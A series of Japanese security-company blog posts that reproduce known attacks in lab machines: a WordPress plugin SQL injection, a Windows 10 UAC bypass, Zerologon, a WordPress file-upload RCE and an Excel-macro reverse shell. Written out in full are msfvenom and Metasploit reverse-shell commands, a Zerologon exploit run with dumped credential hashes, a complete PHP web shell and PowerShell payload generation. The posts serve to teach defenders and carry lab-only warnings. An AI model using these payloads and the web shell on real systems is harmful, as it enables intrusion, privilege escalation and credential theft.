Armoris日記 CVE-2020-14207編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-14207の検証

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記では、とあるサイトでPoCを発見したCVE-2020-14207についての検証を行います。
CVE-2020-14207はWordPressのDiveBookというプラグインに存在する脆弱性です。現在、このプラグインの開発は止まっており、当該脆弱性の修正はなされていない状態です。

脆弱性の概要はプラグインのfilter_diverパラメーターが適切にサニタイズされていなかったためSQLiが発生するというものです。

脆弱性情報:WPScan
該当プラグインDiveBook

影響を受けるバージョン:DiveBook <= 1.1.4 latest version

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
DiveBook 1.1.4
WordPress 5.6

検証環境の準備

まずはVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6588, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.138
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/DiveBook/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.138 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回も普段使用している以下のymlファイルを用いてWordPressの環境を構築します。

WordPressの構築が完了したらDiveBookプラグインを導入します。

vagrant@ubuntu2004:~$ wget https://downloads.wordpress.org/plugin/divebook.1.1.4.zip
vagrant@ubuntu2004:~$ unzip divebook.1.1.4.zip
vagrant@ubuntu2004:~$ sudo cp -r divebook /var/www/wordpress/wp-content/plugins/

WordPressにログイン後プラグインを有効化して準備完了です。

検証

現在脆弱性が修正されていない状態であり、WPScanでPoCが公開されていないためArmoris日記で詳しいPoCの解説は行いません。

まずはデフォルトのHello World!ページを編集して以下の内容を入力し、DiveBookプラグインを使用できる状態にします。

[divebook]divebook_display();[/divebook]

以下の画像はプラグインを埋め込んだ状態です。 f:id:Armoris:20201218185614p:plain

次にパラメーターを変更したURLにアクセスすることで以下のように使用しているDBのバージョン情報が表示されます。 f:id:Armoris:20201218185934p:plain
f:id:Armoris:20201218185953p:plain

その他にも別のパラメーターを使用することで以下のようにDBのデータを表示することができます。 f:id:Armoris:20201218190508p:plain

おわりに

今回検証したように、プラグインの開発が終了しているなどの理由により、見つかった脆弱性が修正されていないことが多くあります。
プラグインやソフトウェアを導入する際は使いやすさだけでなく、開発が継続的に行われているか、コミュニティが活発に活動しているかなども気にかけるようにすると良いのではないでしょうか。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Win10 UAC Bypass編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Windows10でUAC Bypassをやってみよう

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

今回のArmoris日記は、HTTP Reverse Shellから侵入し、Windows10のUAC Bypassを再現してみた内容を紹介します。

そもそもUACとは User Account Control といい、管理者権限を持つユーザーに普段は一般ユーザーと同じ権限しか与えず、管理者権限の必要な処理を実行しようとした際に警告ダイアログを表示して本当に実行してよいか確認するなどして適正なアカウント権限の管理を行う機能のことです。
今回は、この機能をBypassして管理者権限に昇格する手法を試します。

検証環境

検証にあたり使用した環境は以下の通りです。

Name Version
MSEdge Win10 1809
Kali Linux 2020.2
  • Other :
    • MSF exploit/multi/handler
      • PAYLOAD windows/x64/meterpreter/reverse_tcp
      • PAYLOAD windows/local/bypassuac_silentcleanup

環境準備

まずは以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しています。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポート機能を使用して起動します。
検証用のイメージはデフォルトパスワードが Passw0rd!に設定されています。
画像のようにWindowsにログイン後各種保護をオフにします。
設定項目はSettings → Update & Security → Windows Security → Open Windows Securityからアクセスできます。 f:id:Armoris:20201211175407p:plain

次にKali Linuxを起動し、Payloadの作成を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.1.30 -f exe -o ./hack.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: ./hack.exe

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo mkdir /var/www/html/file

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo cp hack.exe /var/www/html/file/

┌──(user㉿kali-linux)-[~/Desktop]
└─$ sudo systemctl restart nginx

f:id:Armoris:20201211175017p:plain

Payloadが作成できたらWindowsからアクセスして.exeファイルを保存します。 f:id:Armoris:20201211175843p:plain

検証

準備が完了したらPayloadを実行してHTTP Reverse Shellを作りUAC Bypassを試します。

まずはKali Linuxmsfconsoleを起動します。起動が確認できたらまずはHTTP Reverse Shellを待ち受けるための設定を行います。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ msfconsole

       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use the edit command to open the currently active module in your editor

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.1.30
lhost => 10.0.1.30
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.0.1.30:4444

次にWindowsに保存したhack.exeを実行します。
実行時に以下のようなダイアログが出る場合はMore infoをクリックし、Run anywayをクリックします。 f:id:Armoris:20201211180945p:plain
f:id:Armoris:20201211180955p:plain

hack.exe実行後のWindowsに変化はありませんが、Kali Linuxでは以下のようになります。 f:id:Armoris:20201211181119p:plain

HTTP Reverse Shellを作成し、getuidコマンドを実行してMSEDGEWIN10\IEUserになっていることを確認します。

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: MSEDGEWIN10\IEUser

次にセッションをバックグラウンドで維持しながらUAC Bypassを行います。
getsystemコマンドを実行後getuidコマンドの結果がNT AUTHORITY\SYSTEMと表示されシステム権限になっていることが確認できます。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf5 exploit(windows/local/bypassuac_silentcleanup) > show options

Module options (exploit/windows/local/bypassuac_silentcleanup):

   Name       Current Setting                                          Required  Description
   ----       ---------------                                          --------  -----------
   PSH_PATH   %WINDIR%\System32\WindowsPowershell\v1.0\powershell.exe  yes       The path to the Powershell binary.
   SESSION                                                             yes       The session to run this module on.
   SLEEPTIME  0                                                        no        The time (ms) to sleep before running SilentCleanup


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.1.30        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows


msf5 exploit(windows/local/bypassuac_silentcleanup) > set session 1
session => 1
msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit

[*] Started reverse TCP handler on 10.0.1.30:4444
[+] Part of Administrators group! Continuing...
[*] Sending stage (176195 bytes) to 10.0.1.31
[*] Meterpreter session 2 opened (10.0.1.30:4444 -> 10.0.1.31:50119) at 2020-12-11 18:16:57 +0900

meterpreter > pwd
C:\Windows\system32
meterpreter > getuid
Server username: MSEDGEWIN10\IEUser
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

今回使用しているPayloadはexploit/windows/local/bypassuac_silentcleanupですが、成功しない場合はいくつか他のものを試してみてください。

以上でUAC Bypassの検証は終了です。

最後に

今回の検証はHTTP Reverse Shellのセッション確立後によく行われることの一つとしてUAC Bypassを検証してみました。
実際に検証してみてWindowsの画面上では特に変化がなくても不審な.exeファイルを実行するだけで、簡単に管理者権限までが奪われてしまうというのがわかったのではないかと思います。

今回の検証をインターネット上からダウンロードしたファイルを実行する際に頭の片隅に置いておいてもらえればいいかなと思います。

検証は自身で管理するマシン以外には行わないでください。
また、検証は自己責任でお願いします。

Armoris日記 CVE-2020-1472編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Zerologonを検証してみる

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

今回のArmoris日記はZerologonの検証用環境を作成し、ツールを用いて攻撃が成功するかを検証します。
脆弱性についての詳しい説明や原因については多くの方が解説しているので、ここでは簡単に概要を説明します。

ZerologonとはActive Directoryでユーザーとシステムの認証の為に利用されているNetlogonプロトコルの実装における権限昇格の脆弱性になります。本脆弱性を悪用することでドメインコントローラーに接続している端末を全て制御することが可能になります。
実際にPoCも公開されており、脆弱性を悪用した攻撃が確認されています。

脆弱性情報:JVN
影響を受けるシステム:

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
Windows Server 2019 1809
Kali Linux 2020.2

VBoxを使用してWindows Serverを準備する

今回はWindows Server 2019の評価版ISOとVirtual Boxを使用してActive Directory環境を構築します。

リンク先のサイトにアクセスして以下の手順に従ってWindows Server 2019のISOをダウンロードします。
以下の画面でISOを選択します。 f:id:Armoris:20201204163628p:plain

次へを押して必要事項を入力します。 f:id:Armoris:20201204163702p:plain

入力が完了したら次へを押してダウンロードします。 f:id:Armoris:20201204163736p:plain

ISOファイルのダウンロードが完了したらVBoxを使用して環境を準備していきます。
VBoxの新規作成から以下のように設定してISOファイルを選択して起動します。
私はメモリ2GBとディスク20GBのデフォルト割り当てを使用しました。 f:id:Armoris:20201204164221p:plain

今回は英語環境を使用するので以下の設定でインストールをします。 f:id:Armoris:20201204164346p:plain

インストールするものはDesktop Experiensを選択します。 f:id:Armoris:20201204164441p:plain

インストールが完了すると画像のようにAdministraterのパスワード入力を求められます。
ここでは記号などが入っているものでないと設定ができない為、Passw0rd!などを使用して設定します。 f:id:Armoris:20201204164557p:plain

設定が完了すると自動的に再起動します。再起動後に以下のような画面になればインストールは完了です。 f:id:Armoris:20201204164733p:plain

表示されている通りにCtrl+Alt+Deleteを押して先ほど設定したパスワードを入力しログインします。
ログインが完了してしばらくすると自動的にServer Managerが起動します。 f:id:Armoris:20201204164922p:plain

以上でWindows Serverのインストールが完了しました。

Active Directoryを設定する

次にActive Directoryの設定を行います。

まずはServer ManagerからAdd roles and featuresを選択します。 f:id:Armoris:20201204165845p:plain

Add Roles and Features Wizardが表示されたらNextを押していき、Select server rolesの項目でActive Directory Domain Servicesにチェックを入れます。
すると以下のような画面になるのでAdd Featuresを押します。 f:id:Armoris:20201204170221p:plain

そのままNextを押していき、installを押してインストールが完了するのを待ちます。 f:id:Armoris:20201204170418p:plain

インストールが完了すると以下のように青文字でPromote this server to a domain controllerと表示されるのでクリックします。 f:id:Armoris:20201204170535p:plain

以下のような画面になったらRoot domain name:を入力してNextを押します。
今回はlocalhost.testと入力しています。 f:id:Armoris:20201204171017p:plain

次にパスワードの設定を行います。今回は検証のためPassw0rd!で設定しています。 f:id:Armoris:20201204171159p:plain

その他はデフォルト設定のままでインストールの事前チェックで問題がなければインストールを実行します。
インストールが完了すると自動的に再起動が行われます。 f:id:Armoris:20201204171327p:plain

再起動が完了したらActive Directoryのインストールは完了です。

Active Directoryの設定をする

Active Directoryのインストールが完了したらユーザーとグループを作成します。

Server ManagerToolsからActive Directory Users and Computersを選択します。 f:id:Armoris:20201204171959p:plain

ウィンドウが開いたら先ほど設定したlocalhost.testを展開します。
Usersを右クリックしてNewからUserを選択します。f:id:Armoris:20201204172425p:plain

各種必要事項を入力していきます。
検証用に以下の情報を入力しています。

First name: test
Last name: user

User logon name: test-user

f:id:Armoris:20201204172755p:plain

必要事項の入力が完了したらパスワードを設定します。
ここでも検証用にPassw0rd!を設定しています。
パスワードを入力したらNextを押して進みユーザーを作成します。 f:id:Armoris:20201204173108p:plain

ユーザー作成が完了したらグループを作成していきます。
まずは先程と同じようにUsersを右クリックしてNewからGroupを選択します。 f:id:Armoris:20201204173448p:plain

Group name:TestGroupと入力してOKを押してグループを作成します。 f:id:Armoris:20201204173620p:plain

グループの作成が完了したらユーザーをグループに追加します。

先程作成したTestGroupをダブルクリックし、Memversの項目からAddを押します。
ウィンドウが開いたらtest-userと入力し、Check Namesを押してOKを押します。
これでグループに作成したユーザーが追加されます。 f:id:Armoris:20201204173854p:plain

これでActive Directoryの設定が完了です。

ツールを使って検証する

Windows Serverの環境ができたらKali Linuxからツールを使用してZerologonの検証を行います。
ツール使用時にWindows ServerのDevice nameを使用する為事前にメモしておきます。
SettingsSystem項目にあるAboutから確認できます。 f:id:Armoris:20201204175859p:plain

まずは以下のツールの準備をします。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ git clone https://github.com/SecureAuthCorp/impacket.git
Cloning into 'impacket'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (64/64), done.
remote: Compressing objects: 100% (57/57), done.
remote: Total 18794 (delta 30), reused 20 (delta 7), pack-reused 18730
Receiving objects: 100% (18794/18794), 6.28 MiB | 4.56 MiB/s, done.
Resolving deltas: 100% (14300/14300), done.

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket

┌──(user㉿kali-linux)-[~/Desktop/impacket]
└─$ pip3 install .

次に権限昇格用のツールを準備します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ git clone https://github.com/VoidSec/CVE-2020-1472.git
Cloning into 'CVE-2020-1472'...
remote: Enumerating objects: 75, done.
remote: Counting objects: 100% (75/75), done.
remote: Compressing objects: 100% (69/69), done.
remote: Total 75 (delta 41), reused 18 (delta 6), pack-reused 0
Unpacking objects: 100% (75/75), 3.75 MiB | 2.86 MiB/s, done.

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ cd CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ pip3 install -r requirements.txt

まずはActive Directoryにログインして情報の取得を試みるツールを権限昇格前に試します。

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)
[*] Cleaning up...

次にExploit Codeを実行します。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples/CVE-2020-1472

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py -n WIN-GO7TKNGMALG -t 10.0.1.38
 _____                   __
/__  /  ___  _________  / /___  ____ _____  ____
  / /  / _ \/ ___/ __ \/ / __ \/ __ `/ __ \/ __ \
 / /__/  __/ /  / /_/ / / /_/ / /_/ / /_/ / / / /
/____/\___/_/   \____/_/\____/\__, /\____/_/ /_/
                             /____/

Checker & Exploit by VoidSec

Performing authentication attempts...
.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
[+] Success: Target is vulnerable!
[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y
y
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

Successと表示されていればActive Directoryの権限昇格が成功しています。
再度情報の取得を行ってみます。

┌──(user㉿kali-linux)-[~/Desktop]
└─$ cd impacket/examples

┌──(user㉿kali-linux)-[~/Desktop/impacket/examples]
└─$ python3 secretsdump.py -no-pass -just-dc localhost.test/WIN-GO7TKNGMALG\$@10.0.1.38
Impacket v0.9.23.dev1+20201203.125520.aa0c78ad - Copyright 2020 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:902af79092df128cba8e16f0a1e6d206:::
localhost.test\test-user:1103:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
WIN-GO7TKNGMALG$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c3d2d56da0412c305dc24133124f94ea8d718fcd8033556644753772d289db52
Administrator:aes128-cts-hmac-sha1-96:f5325fb0fe00356deccd66c6adeeae82
Administrator:des-cbc-md5:e97a6d8a49bf133e
krbtgt:aes256-cts-hmac-sha1-96:fd95e1d9581d9f4b2d7f58a961c50b2b802c20e7578a2c253b9042b1158dc0ae
krbtgt:aes128-cts-hmac-sha1-96:11fb466f7a6d163c341cea5403a888a7
krbtgt:des-cbc-md5:d0864662d00dd5ec
localhost.test\test-user:aes256-cts-hmac-sha1-96:7d4d27b69a3fc671edd7a541e212c8380372479a96dba6a99e89dc41240fded2
localhost.test\test-user:aes128-cts-hmac-sha1-96:8c47b02207a82868e541497b6c71da21
localhost.test\test-user:des-cbc-md5:5e6d62b9f2f4e6cd
WIN-GO7TKNGMALG$:aes256-cts-hmac-sha1-96:387891ec7aa06b29d18be0b914a45cf7fc1d9fd3881fb51b20356370e16e0535
WIN-GO7TKNGMALG$:aes128-cts-hmac-sha1-96:485e8beb173dd30b78b62db516fdc330
WIN-GO7TKNGMALG$:des-cbc-md5:ec6b8a37dff81acb
[*] Cleaning up...

今度は先程作成したtest-userに関する情報を含め、実際にActive Directoryから不正に情報を取得することに成功しています。

今回の検証は以上になります。

最後に

今回検証したZerologonと言われる脆弱性は実際にツールがいくつも公開されており、脆弱性を悪用した攻撃が確認されています。また、今回の脆弱性による攻撃は正常な認証プロセスの中で行われる為、イベントログに記録されるものだけでは判別が難しくなります。
すでに修正パッチが配布されていますが、まだ適用されていない場合は早急にパッチを適用するようにしてください。

自身が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Simple File List < 4.2.3 RCE編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

今週も検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Simple File ListのRCEについて検証してみます

自分が管理するサーバー以外では絶対に試さないでください。また、検証は自己責任で行ってください。

今回検証するのはWordPressプラグインであるSimple File Listのファイル名変更機能の拡張子チェック漏れを悪用した攻撃です。
この脆弱性は、アップロードしたファイルのファイル名変更時に拡張子のチェックが行われていないことが原因で発生するものです。そのため、一度許可された拡張子のファイルをアップロードし、その後任意(.php, .html, etc...)のファイル拡張子に変更することでRCEが可能になります。

脆弱性情報:packet storm
該当プラグインSimple File List

影響を受けるバージョン:Simple File List < 4.2.3

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
Simple File List 4.2.3
WordPress 5.5.3

検証環境の準備

まずはVagrantを使用してUbuntuServerの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6282, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.132
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/SimpleFileList/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.132 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

今回は以下のymlファイルを使用しています。

WordPressの構築が完了したらアップロードフォルダの作成とパーミッションの設定をします。

$ vagrant ssh
vagrant@ubuntu2004:~$ mkdir -p /var/www/wordpress/wp-content/uploads/simple-file-list
vagrant@ubuntu2004:~$ sudo chown -R www-data:www-data /var/www/wordpress

ここまで完了したらプラグインを有効化して準備完了です。

検証

Armoris日記ではPoCは掲載しませんが、実際にいくつか実行可能なものが公開されています。今回はその中でPythonで書かれたものを試します。
PoC実行時にIPを指定してアップロードするファイルとプロトコルを対話形式で入力します。
検証に使用したPoCでは一度ファイル拡張子を.png形式に変更してからアップロードを行い、ファイル名変更機能でファイル拡張子を.phpに戻しています。

$ cat hack.php

$ python poc.py 192.168.121.132
[*] Enter File Name (working directory): hack.php
[*] Enter protocol (http/https): http
[+] File renamed to hack.png
[+] File uploaded at http://192.168.121.132/wp-content/uploads/simple-file-list/hack.png
[+] File moved to http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php
[^-^] Exploit seems to have worked...
        URL: http://192.168.121.132/wp-content/uploads/simple-file-list/hack.php

PoC実行後に表示されるURLにアクセスするとPHP infoが実行されることが確認できます。

この時のApacheログを確認すると以下のようになっています。

192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-upload-engine.php HTTP/1.1" 200 210 "-" "python-requests/2.11.1"
192.168.121.132 - - "GET /wp-content/uploads/simple-file-list/hack.png HTTP/1.1" 200 306 "-" "python-requests/2.11.1"
192.168.121.132 - - "POST /wp-content/plugins/simple-file-list/ee-file-engine.php HTTP/1.1" 200 210 "http://172.20.100.120:6282/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1" "python-requests/2.11.1"

次にshell.phpを作成してRCEを試します。
WebShell参考元:Qiita

<?php
session_start();

if ($_POST["cmd"]) {
    $cmd= $_POST["cmd"];
    if ($_POST["cmd"] === "reset") {
        $_SESSION = [];
    } elseif (preg_match("/^cd\s/i", $_POST["cmd"])) {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br>";
        $_SESSION["path"] = shell_exec($cmd." & @cd");
    } else {
        $_SESSION["history"] .= $_SESSION["path"]."<br>>".$_POST["cmd"]."<br><pre>".htmlspecialchars(mb_convert_encoding(shell_exec($cmd), "UTF-8"), ENT_QUOTES, "UTF-8", true)."</pre>";
    }
}
?>

<!DOCTYPE html>
<html lang="ja">
    <head>
       <meta charset="UTF-8">
       <title>WebShell</title>
       <style>
            *{
                color: #00ff00;
                font-size: 15px;
                font-family: Hack, monospace;
            }
            body{
                background-color: #000000;
            }
            input{
                border: 0px;
                background-color: transparent;
            }
        </style>
   
   </head>
    <body>
        <?php
            if (empty($_SESSION["history"])) $_SESSION["history"] = "";
            if (empty($_SESSION["path"])) $_SESSION["path"] = shell_exec("@cd");
            echo $_SESSION["history"];
            echo $_SESSION["path"]
        ?>
        <form method="POST">
            ><input autofocus type="text" name="cmd">
        </form>
    </body>
</html>

ファイルアップロード後にアクセスすると以下のようにRCEが成功することが確認できます。 f:id:Armoris:20201127154048p:plain 以上で検証終了です。

最後に

今回検証した脆弱性はよくあるアップロード時のファイル拡張子チェックの漏れではなく、名前変更機能のファイル拡張子チェックが行われていないことが原因でした。
アップロード時は開発時に気を使う部分だと思いますが、その他にもファイル操作に関連する処理にはできるだけ拡張子チェックなどを行うようにした方が良いと感じました。

私自身も開発時には気を付けていきたいと思います。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 ExcelMacro HTTP Reverse Shell

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Excelのマクロで Reverse Shell!!!

今回のArmoris日記ではExcelファイルを開いてマクロを有効化することでReverse Shellが作成できるか検証します。
一般的なマクロを使用した攻撃ではマルウェアのダウンロードなどが行われます。

HTTP Reverse Shellとは:
Firewallなどで弾かれる可能性を下げるためにhttpを利用してターゲット端末側から接続させる方法でターゲット端末のshellを使うものです。 f:id:Armoris:20201120180138p:plain

検証環境

まずは検証にあたって使用した環境を紹介します。
Excelファイルを開く際は手持ちのOfficeを使用しています。

Name Version
Kali Linux 2020.2
MSEdge on Win10 Stable 1809

各種準備

攻撃者:Kali Linux環境

まずはKali Linuxを使用してPayloadの生成とhttpの待受を行います。

PayloadはKali LinuxのSocial Engineer Toolkitを使用して生成します。

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.
                                                                                                                         
           Visit: https://www.trustedsec.com                                                                             
                                                                                                                         
   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!                                                        
                                                                                                                         
                                                                                                                         
 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 9

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.

   1) Powershell Alphanumeric Shellcode Injector
   2) Powershell Reverse Shell
   3) Powershell Bind Shell
   4) Powershell Dump SAM Database

  99) Return to Main Menu

set:powershell>1
Enter the IPAddress or DNS name for the reverse host: 10.0.1.30
set:powershell> Enter the port for the reverse [443]:8080
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder specified, outputting raw payload
Payload size: 380 bytes
Final size of c file: 1622 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : no

10.0.1.30はKali Linuxipアドレスを入力します。
8080は待ち受ける予定のポートを入力します。

生成されたPayloadを/var/www/html/以下に保存してwebサーバーを起動します。

root@kali-linux:~/.set/reports/powershell# mv x86_powershell_injection.txt /var/www/html/pd.txt
root@kali-linux:~/.set/reports/powershell# service nginx start

Payloadを配置したら先ほど設定した8080ポートで待ち受けます。
conf.rcを作成し、ipアドレスなどを入力してmsfconsoleで起動します。

$ cat conf.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.1.30
set LPORT 8080
set ExitOnSession false
exploit -j -z
$ msfconsole -q -r conf.rc
[*] Processing conf.rc for ERB directives.
resource (conf.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (conf.rc)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (conf.rc)> set LHOST 10.0.1.30
LHOST => 10.0.1.30
resource (conf.rc)> set LPORT 8080
LPORT => 8080
resource (conf.rc)> set ExitOnSession false
ExitOnSession => false
resource (conf.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.0.1.30:8080

msf5 exploit(multi/handler) >

これでKali Linuxでの準備が完了しました。

侵入先:Windows環境

いよいよ侵入先のWindows環境を準備します。
以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しました。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポートを行い起動します。
起動できたらデフォルトパスワードのPassw0rd! でログインして、Windows Securityからリアルタイム保護などを無効にしておきます。
f:id:Armoris:20201119182804p:plain

次に以下のツールを使用してマクロ入りのExcelファイルを作成します。
zipなどでGitHubからダウンロードし、デスクトップなどに展開しておきます。
Generate-Macro

